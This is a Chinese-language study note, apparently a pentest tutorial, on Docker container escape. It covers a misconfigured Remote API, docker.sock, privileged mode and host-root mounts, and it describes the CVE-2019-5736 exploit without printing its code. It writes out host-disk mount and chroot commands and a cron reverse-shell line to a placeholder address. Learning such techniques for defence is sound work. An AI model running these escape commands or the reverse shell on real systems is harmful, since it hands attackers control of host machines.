
 注意:本篇文章仅用于学习记录,不得用于其他用途。
一、docker逃逸
docker逃逸就是从当前docker容器权限中逃逸出来,获得宿主机的权限。
二、常见的逃逸方法
1、配置不当引起的逃逸
(1)Docker Remote API未授权访问
(2)docker.sock挂载到容器内部
(3)privileged特权模式启动docker
(4)挂载敏感目录(如:宿主机根目录)
2、Docker软件设计引起的逃逸(漏洞)
(1)runC容器逃逸漏洞(CVE-2019-5736)
(2)Docker cp命令(CVE-2019-14271)
3、内核漏洞引起的逃逸
脏牛漏洞,实战遇到的也不多,逃逸的原理是宿主机的内核有脏牛提权漏洞,docker容器又是和宿主机公用一套内核的,所在docker容器内使用脏牛拿的root shell,是内核级别的,即拿到了宿主机的root shell。
##		4、如何判断是宿主机还是docker容器
###		(1)检查根目录下./dockerenv文件是否存在
ls -la ./dockerenv
###		(2)检查/proc/1/cgroup内是否包含"docker"等字符串
cat /proc/1/cgroup
###		(3)其他特征
容器ip大多是172.17段,而且很多常见的命令缺失。
#		三、配置不当引起的逃逸
##		1、Docker Remote API未授权访问
==先看一眼Docker Remote API是否存在未授权,2375端口是否开放。==
docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可以直接调用API来操作docker。
```powershell
列出容器信息,效果与docker ps一致
curl http://<target>:2375/containers/json
环境准备
 
 漏洞原理
 在使用docker swarm的时候,节点上会开放一个TCP端口2375,绑定在0.0.0.0上
 利用思路:通过挂在宿主机的目录,写定时任务获取shell,从而逃逸。
 漏洞利用

2、挂载Docker.sock
指的是容器在启动的时候,挂载了/var/run/docker.sock,一般很少遇到。
 /var/run/docker.sock是Docker守护程序默认监听的Unix套接字,它也是一个用于从容器内与Docker守护进程通信的工具。
 实验环境准备
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04
随后在docker容器中安装docker
# ubuntu 18.04 安装docker
apt-get update
# 安装依赖包
apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties- common
# 添加 Docker 的官方 GPG 密钥
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
# 验证您现在是否拥有带有指纹的密钥
apt-key fingerprint 0EBFCD88
# 设置稳定版仓库
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
# 更新
apt-get update
# 安装最新的Docker-ce
apt-get install docker-ce
# 启动
systemctl enable docker systemctl start docker
安装完成后我们使用docker ps就可以看到宿主机上的容器了。
 漏洞利用
 将宿主机的根目录之间挂载到容器中的容器。
docker run -it -v /:/uzju ubuntu:18.04 /bin/bash
chroot uzju
3、Docker特权容器逃逸
实战中要先看一下是不是特权容器。
 docker中存在一些比较高危的启动命苦,基于容器较大的权限,允许执行一些特权操作,在一定的条件下,可以导致容器逃逸。
 利用原理
 特权容器可以直接在容器内挂载整个宿主机的磁盘,通过计划任务反弹宿主机的shell,进而实现了容器逃逸。
 漏洞复现
 通过特权模式运行一个容器。
docker run -it --privileged ubuntu:18.04
查看当前容器是否是特权容器
cat /proc/1/status | grep Cap
如果查询出来的值是00000003ffffffff,那么可以说明当前容器是特权容器。
在容器内,查看磁盘文件
fdisk -l
可以直接挂载宿主机的磁盘
mkdir ysz
mount /dev/sda5 ysz/
chroot /ysz
查看宿主机的etc/passwd
cat /etc/passwd
写计划任务反弹shell
 
4、挂载宿主根目录
环境准备
 docker run -it -v /:/11111/ubuntu:18.04
 漏洞利用
 还是一样可以通过crontab反弹shell
 chroot uzju
 uzju是对应容器的目录。
 crontab -e
 *****/bin/bash -i >& /dev/tcp/ip/port 0>&1
四、CVE-2019-5736
需要管理员再次手动进入容器触发。
 漏洞原理
 漏洞点在于runC,runC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来,作为低级别容器运行时,runC主要由高级别容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具,像docker这样高级别容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器,将进程附加到现有容器等。
 ==在Docker18.09.2之前的版本中使用的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc二进制文件,攻击者可以在宿主机上以root身份执行命令。
 影响版本
 docker version <= 18.09.2
 runc version <= 1.0-rc6
 环境搭建
 ubuntu18.04
sudo su
apt update
apt install lrzsz
apt install curl
apt install openssh-server
service sshd status

 漏洞复现
 exp
 

 
 
 编译
 set GOARCH=amd64
 set GOOS=linux
 go build main.go
 将编译好的main文件上传至docker容器
 使用wget命令。
 在docker容器中运行文件。
 
 接收反弹的shell,可以发现是宿主机。
 解决方案:
 盛极docker到最新的版本。
 这个方法逃逸后,动静大,容器坏了,进不去也结束不了。



















